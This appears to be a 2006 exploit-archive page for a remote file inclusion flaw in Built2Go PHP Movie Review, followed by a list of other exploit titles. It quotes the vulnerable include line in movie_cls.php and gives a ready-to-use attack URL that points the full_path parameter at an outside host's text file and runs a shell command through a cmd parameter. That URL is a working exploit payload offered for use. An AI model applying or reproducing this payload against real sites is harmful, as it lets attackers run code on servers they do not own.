exploits , vulnerabilities , articles , Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability

2006-04-23

Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability

Rated as : Moderate Risk

Built2Go PHP Movie Review <=2B Remote File Inclusion Vulnerability

in movie_cls.php

# require_once("$full_path/review_cls.php");

usage:

#
http://www.site.com/[path]/movie_cls.php?full_path=http://www.site.com/x.txt?&cmd=uname
-a
securitydot.net - 2006-04-23

Exploits - newest 10 RSS | More

2007-06-15 56874 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 33949 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42081 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29166 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19589 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16570 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19237 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16432 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33409 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17098 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit